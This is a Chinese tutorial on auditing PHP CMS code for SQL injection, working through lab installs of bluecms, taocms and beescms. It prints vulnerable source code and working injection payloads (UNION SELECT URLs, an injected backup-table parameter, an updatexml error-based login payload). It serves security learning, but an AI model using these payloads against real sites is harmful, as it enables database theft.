做网站建设的公司有哪些方面/百度网址ip

做网站建设的公司有哪些方面,百度网址ip,怎么开网店不需要自己上货,如何用两台电脑做服务器建网站1 SQL注入代码审计流程 1.1 反向查找流程 通过可控变量(输入点)回溯危险函数 查找危险函数确定可控变量 传递的过程中触发漏洞 1.2 反向查找流程特点 暴力:全局搜索危险函数 简单:无需过多理解目标网站功能与架构 快速:适用于自动化代码审…

1 SQL注入代码审计流程

1.1 反向查找流程

通过可控变量(输入点)回溯危险函数 查找危险函数确定可控变量 传递的过程中触发漏洞

1.2 反向查找流程特点

暴力:全局搜索危险函数 简单:无需过多理解目标网站功能与架构 快速:适用于自动化代码审计工具 命中率低:简单的漏洞越来越少 适应性较差:不适合存在全局过滤的站点 无法挖掘逻辑漏洞:逻辑漏洞多数不存在危险函数

1.3 正向查找流程

从入口函数出发 找到控制器,理解URL派发规则 跟踪控制器调用,以理解代码为目标进行源码阅读 阅读代码的过程中,可能发现漏洞

1.4 正向漏洞挖掘特点

复杂:需要了解目标源码的功能与架构 跳跃性大:涉及M/V/C 等多个层面 漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞 潜力无限:安全研究人员的宝库

1.5 双向查找流程

略读代码,了解架构 是否有全局过滤机制 找到了漏洞点,漏洞利用是否有坑

2 PHP和MySQL连接方式

2.1.传统方法:mysql_connect(已废弃)

在PHP 5.5.0版本之前,开发者经常使用mysql_connect函数来连接MySQL数据库。然而,从PHP 5.5.0开始,这个扩展已经被废弃,并在PHP 7.0.0中完全移除。尽管如此,了解其工作方式对于理解后续的方法仍然是有帮助的。

$con = mysql_connect("localhost", "username", "password");  
if (!$con) {  die("Could not connect: " . mysql_error());  
}  mysql_select_db("my_db", $con);  // 执行查询等操作  
// ...  mysql_close($con);

注意:上述代码示例只是为了演示传统方法的工作原理,并不推荐在实际项目中使用。

2.2 mysqli扩展(面向对象)

mysqli扩展提供了与MySQL数据库的改进和增强连接功能。它是mysql扩展的替代品,并提供了更多的功能和更好的性能。

// 面向对象方式  
$mysqli = new mysqli("localhost", "username", "password", "my_db");  if ($mysqli->connect_errno) {  echo "Connect failed: " . $mysqli->connect_error;  exit();  
}  // 执行查询等操作  
// ...  $mysqli->close();

2.3 PDO(PHP Data Objects)

PDO是PHP数据对象扩展,提供了一个统一的数据访问层,可用于连接不同的数据库系统。与mysqli相比,PDO提供了更广泛的数据库支持和更多的功能。

try {  $pdo = new PDO("mysql:host=localhost;dbname=my_db", "username", "password");  // 设置 PDO 错误模式为异常  $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  // 执行查询等操作  // ...  $pdo = null; // 关闭连接  
} catch (PDOException $e) {  echo "Connection failed: " . $e->getMessage();  
}

2.4 SQL注入漏洞常见过滤方法

intval / addslashes / mysql_real_escape mysqli_escape_string / mysqli_real_escape_string PDO::quote

3 SQL代码审计案例

3.1 bluecms靶场

3.1.1 bluecms靶场搭建

1.下载安装包

到GitHub上搜索bluecms:GitHub - source-trace/bluecms

2.在www文件中解压文件并并名为bluecms

3.开始bluecms环境搭建

游览器访问

http://127.0.0.1/bluecms/install/index.php

点击继续

配置数据库以及管理员账号

然后这个url:http://127.0.0.1/bluecms/出现页面表示安装成功

3.1.2 bluecms代码审计

1 使用seay软件进行代码审计

2.对ad_js.php代码分析

<?php  
/**  * [bluecms] 版权所有 标准网络,保留所有权利  * 这不是免费软件,使用需遵守许可条款  *  * $Id:ad_js.php  // 文件ID或标识符  * $author:lucks  // 作者  */  // 定义一个常量,表示当前脚本在bluecms环境中运行  
define('IN_BLUE', true);  // 引入公共函数库  
require_once dirname(__FILE__) . '/include/common.inc.php';  // 从GET请求中获取ad_id参数,并进行清理(去除两端的空格)  
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';  // 如果ad_id为空,则输出错误并退出  
if(empty($ad_id))  
{  echo 'Error!';  exit();  
}  // 从数据库中查询指定ad_id的广告信息  
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);  // 判断广告的时间设置  
if($ad['time_set'] == 0)  
{  // 如果time_set为0,表示广告没有时间设置,直接返回广告内容  $ad_content = $ad['content'];  
}  
else  
{  // 如果广告有时间设置  if($ad['end_time'] < time())  {  // 如果广告已过期(当前时间大于结束时间),返回过期内容  $ad_content = $ad['exp_content'];  }  else  {  // 如果广告未过期,返回正常内容  $ad_content = $ad['content'];  }  
}  // 对广告内容进行转义,确保在JavaScript中安全使用  
$ad_content = str_replace('"', '\"',$ad_content); // 将双引号替换为转义后的双引号  
$ad_content = str_replace("\r", "\\r",$ad_content); // 将回车符替换为转义后的回车符  
$ad_content = str_replace("\n", "\\n",$ad_content); // 将换行符替换为转义后的换行符  // 输出JavaScript注释和document.write来动态写入广告内容  
// 注释的作用是为了在JavaScript不执行时,这些内容不会作为HTML内容显示在页面上  
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";  ?>

代码分析:

  1. 从GET请求中获取ad_id参数,并进行清理(去除两端的空格)。

  2. 但是没有ad_id进行安全检查。

3.进行sql注入尝试

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%27

输入?ad_id=-1'发现报错并进行了转移

那就存在sql注入漏洞

现在就爆字段

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 7--+

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 8--+

爆出字段数为7

爆数据库

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%20union%20select%201,2,3,4,5,6,database()

得到数据库为root

3.2 taocms靶场

3.2.1 taocms靶场搭建

1 在GitHub地址下载: Release taoCMS 3.0.2 · taogogo/taocms · GitHub

2 将文件解压到www文件下并命名为taocms

3 在游览器上进行安装

http://192.168.1.18/taocms/install.php

配置数据库信息

先新建一个taocms数据库


|127.0.0.1:3306|root|root|taocms

出现这个页面表示安装成功

3.2.2 taocms代码审计

1 对Datastore.php代码进行分析

<?php
// 定义数据存储类
class Datastore{public $table; // 表名public $db; // 数据库对象public $tpl; // 模板对象public $id; // ID// 构造函数,初始化对象属性function __construct($table,$id=0){$this->table=$table;$this->db=new Dbclass(SYS_ROOT.DB_NAME); // 创建数据库对象$this->tpl=new Template(); // 创建模板对象$this->id=$id;}// 显示表单function display(){include($this->tpl->myTpl('form'.$this->table));}// 创建备份文件function create(){header('Content-type: application/txt'); // 设置响应内容类型为文本文件header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"'); // 设置响应头,触发文件下载$backups=''; // 初始化备份文件内容为空$bulist=explode('|',$_GET['bulist']); // 获取需要备份的表名列表foreach($bulist as $bus){$addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:''; // 如果表名为cms且有起始和结束条件,则添加限制条件$sql='select * from '.TB.$bus.$addsql; // 构造查询语句$o=$this->db->query($sql); // 执行查询while($data=$this->db->fetch_array($o)){ // 遍历查询结果$colums='';$datas='';foreach($data as $key=>$v){$colums.=$key.','; // 拼接列名$datas.="'".Base::safeword($v)."',"; // 拼接数据,并进行安全处理}// 拼接替换语句,用于恢复数据$backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";}}echo substr($backups,0,-2); // 输出备份文件内容,去掉最后的换行符}// 更新数据库数据function update(){$filedata=file_get_contents($_FILES['file']['tmp_name']); // 读取上传的备份文件内容$queryarray = explode(";\n",$filedata); // 按照分号和换行符分割SQL语句foreach ($queryarray as $k =>$v){$this->db->query($v) or Base::showmessage('恢复中出错','-1'); // 执行SQL语句,如果出错则显示错误信息}Base::execmsg("数据恢复成功",'?action=datastore&ctrl=display',TRUE); // 显示恢复成功信息并跳转}
}
?>

2 代码分析

create方法中,虽然使用了Base::safeword($v)对值进行了处理,但列名($key)并未进行任何处理。如果$key来自不可信的源(如用户输入),那么可能存在SQL注入的风险。此外,构造的SQL语句直接使用了$_GET['bulist']$_GET['from']/$_GET['to'],这些值也没有进行任何过滤或验证。

以及点击:生成全部备份文件的请求包

发现bulist后面全是表名

3 sql注入

/taocms/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+UNION+SELECT+(USER()),2,3,4,5,6,7,8

3.3 beecms靶场

3.3.1 beescms靶场搭建

1 安装包下载

程序下载_BEESCMS_小程序源码_企业网站程序!

2 将文件解压到www文件并明命名为beescms文件

3 在游览器上进行安装

http://192.168.1.18/beescms/install/

点击:下一步:检查安装环境

点击下一步:配置系统

配置数据库以及开始安装

出现以下界面表示安装成功

3.3.2 更具cnvd审计beecms

1 cnvd搜索BEESCMS存在企业网站管理系统存在SQL注入漏洞并且与下载cms相同

2 更具漏洞描述以及后台登录的请求发现


确定代码的位置

3 根据代码过滤那些

查看fl_value里的代码

// 定义一个常量,可能是用于某种标识符或密钥  
define('INC_BEES','B'.'EE'.'SCMS');  /**  * 过滤SQL注入关键字  *  * @param string $str 要过滤的字符串  * @return string|null 过滤后的字符串(如果输入为空则返回null)  */  
function fl_value($str){  if(empty($str)){  return; // 如果字符串为空,则返回null  }  // 过滤SQL注入相关的关键字和特殊字符  // 注意:该正则表达式可能不完整,且部分空格可能不是预期的  return preg_replace('/select|insert\s|update\s|and|in|on|left|join|delete|\%|[=]|\/\*|\*|\.\.\/|\.\/|union|from|where|group|into|load_file|outfile/i','',$str);  
}  /**  * 对字符串进行HTML转义以防止XSS攻击  *  * @param string $str 要转义的字符串  * @return string 转义后的字符串  */  
function fl_html($str){  return htmlspecialchars($str);  
}

代码分析

  1. SQL 注入防护不完整fl_value 函数试图通过删除 SQL 关键字来防止 SQL 注入攻击,但是正则表达式存在问题,可能无法有效地防止攻击。

  2. XSS 防护fl_html 函数可以防止跨站脚本攻击,但是如果在其他地方没有正确使用这个函数,仍然可能存在 XSS 漏洞。

3 构建pyaload进行攻击爆出数据库

admin'and updatexml(1,concat(0x7e, select database(), 0x7e),1)#

数据库为beescms

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/841316.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RK3588 opencv maliGPU图像拼接

1 左边图 图像大小:1920*1080 2右边图 图像大小:1920*1080 3拼接好的图像 图像大小&#xff1a;1920 *1080 4代码 #include <iostream> #include <opencv2/opencv.hpp> #include <opencv2/highgui.hpp>//图像融合 #include <opencv2/xfeatures2d.…

基于SpringBoot和Mybatis实现的留言板案例

目录 一、需求及界面展示 二、准备工作 引入依赖 .yml文件相关配置 数据库数据准备 三、编写后端代码 需求分析 代码结构 Model Mapper Service Controller 前端代码 四、测试 一、需求及界面展示 需求&#xff1a; 1. 输入留言信息&#xff0c;点击提交&…

qt-C++笔记之使用QtConcurrent异步地执行槽函数中的内容,使其不阻塞主界面

qt-C笔记之使用QtConcurrent异步地执行槽函数中的内容&#xff0c;使其不阻塞主界面 code review! 文章目录 qt-C笔记之使用QtConcurrent异步地执行槽函数中的内容&#xff0c;使其不阻塞主界面1.QtConcurrent::run基本用法基本用法启动一个全局函数或静态成员函数使用 Lambda…

iOS--锁的学习

iOS--锁的学习 锁的介绍线程安全 锁的分类自旋锁和互斥锁OSSpinLockos_unfair_lockpthread_mutexpthread_mutex的属性 NSLockNSRecursiveLockNSConditionNSConditionLockdispatch_semaphoredispatch_queuesynchronizedatomicpthread_rwlock&#xff1a;读写锁dispatch_barrier_…

摸鱼大数据——Hive基础理论知识——Hive基础架构

1、Hive和MapReduce的关系 1- 用户在Hive上编写数据分析的SQL语句&#xff0c;然后再通过Hive将SQL语句翻译成MapReduce程序代码&#xff0c;最后提交到Yarn集群上进行运行 2- 大家可以将Hive理解成有道词典&#xff0c;帮助你翻译英文 2、Hive架构 用户接口: 包括 CLI、JDBC/…

Java+Swing+Mysql实现飞机订票系统

一、系统介绍 1.开发环境 操作系统&#xff1a;Win10 开发工具 &#xff1a;Eclipse2021 JDK版本&#xff1a;jdk1.8 数据库&#xff1a;Mysql8.0 2.技术选型 JavaSwingMysql 3.功能模块 4.数据库设计 1.用户表&#xff08;users&#xff09; 字段名称 类型 记录内容…

脑机接口习题

9-12章习题 填空题 EEG电极分为 主动电极 和 被动电极 &#xff0c;其中 被动电极 直接与放大器连接&#xff0c; 主动电极 包含一个1~10倍的前置放大。除抗混淆滤波器&#xff0c;放大系统也包含由电阻器、电容器构成的模拟滤波器&#xff0c;把信号频率内容限制在一个特定的…

B树与B+树区别

B树和B树是常见的数据库索引结构&#xff0c;都具有相较于二叉树层级较少&#xff0c;查找效率高的特点&#xff0c;它们之间有以下几个主要区别&#xff1a; 1.节点存储数据的方式不同 B树的叶子结点和非叶子节点都会存储数据&#xff0c;指针和数据共同保存在同一节点中B树…

当标签中出现输入了字母或者数字直接在一行上,没有换行的 情况时怎么办

当标签块中输入的是包含字母或者数字的时候&#xff0c;他不会换行&#xff0c;在一行上显示滚动条的形式&#xff0c;而我们想让他走正常文档流&#xff0c;该换行的时候换行 想要的如下效果 给相应的元素块添加该代码即可 word-break: break-all; .card-content { …

酷开科技大屏营销,多元需求唤醒“客厅经济”

随着科技的发展和消费者习惯的变化&#xff0c;OTT大屏营销正逐渐成为客厅经济的新风向。OTT不仅改变了人们获取信息和娱乐的方式&#xff0c;也为品牌营销提供了新的机遇和挑战&#xff0c;OTT大屏营销已经成为客厅经济的重要组成部分。酷开科技通过其自主研发的智能电视操作系…

一文了解 - GPS/DR组合定位技术

GPS Global Position System 全球定位系统这个大家都很熟悉&#xff0c; 不做太多介绍。 DR Dead Reckoning 车辆推算定位法&#xff0c; 一种常用的辅助的车辆定位技术。 DR系统的优点&#xff1a; 不需要发射和接收信号&#xff1b; 不受电磁波干扰。 DR系统的缺点&#x…

项目管理-质量管理

目录 一、质量管理概述 1.1 GB/T16260.1-2006 定义 1.2 GB/T19000-ISO 9000(2000)系列标准定义 二、软件质量模型 2.1 软件全生命周期质量模型 2.1.1 内部和外部质量的质量模型 2.1.2 使用质量的质量模型 2.1.3 McCall 质量模型 2.1.4 质量特性度量 2.1.5 相关概念 三…

【全开源】多功能投票小程序(ThinkPHP+FastAdmin+Uniapp)

打造高效、便捷的投票体验 一、引言 在数字化快速发展的今天&#xff0c;投票作为一种常见的决策方式&#xff0c;其便捷性和效率性显得尤为重要。为了满足不同场景下的投票需求&#xff0c;我们推出了这款多功能投票小程序系统源码。该系统源码设计灵活、功能丰富&#xff0…

spark实战:实现分区内求最大值,分区间求和以及获取日志文件固定日期的请求路径

spark实战&#xff1a;实现分区内求最大值&#xff0c;分区间求和以及获取日志文件固定日期的请求路径 Apache Spark是一个广泛使用的开源大数据处理框架&#xff0c;以其快速、易用和灵活的特点而受到开发者的青睐。在本文中&#xff0c;我们将通过两个具体的编程任务来展示S…

罗德里格斯公式(旋转矩阵)推导

文章目录 1. 推导2. 性质3. 参考 1. 推导 r r r为旋转轴&#xff0c; θ \theta θ为旋转角度。 先将旋转轴单位化 u r ∣ ∣ r ∣ ∣ u\frac{r}{||r||} u∣∣r∣∣r​ 旋转可以被分为垂直和旋转两个方向&#xff0c; 我们求沿轴方向的分量其实就是在求 p p p向量在 u u u方…

将本地项目上传到 gitee 仓库

1、创建 gitee 仓库 到 gitee 官网&#xff0c;新建仓库 配置新建仓库 完成仓库的创建 项目上传到仓库 上传项目需要安装git git官方下载地址&#xff1a;git下载地址 安装完成&#xff0c;前往本地项目所在文件夹&#xff0c;右击选择 Git Bash Here 刚下载完成需要配置G…

Python筑基之旅-运算符

目录 一、运算符 1、了解定义 2、理解意义 2-1、基本数据处理 2-2、条件判断 2-3、逻辑操作 2-4、赋值和更新 2-5、位操作 2-6、提高代码可读性 2-7、解决实际问题 2-8、学习其他编程语言的基础 3、探索方法 3-1、理解概念 3-2、练习基本运算 3-3、掌握优先级 …

WIFI国家码设置的影响

记录下工作中关于国家码设置对WIFI的影响&#xff0c;以SKYLAB的SKW99和SDZ202模组为例进行说明。对应到日常&#xff0c;就是我们经常提及手机是“美版”“港版”等&#xff0c;它们的wifi国家码是不同的&#xff0c;各版本在wifi使用中遇到的各种情况与下面所述是吻合的。 现…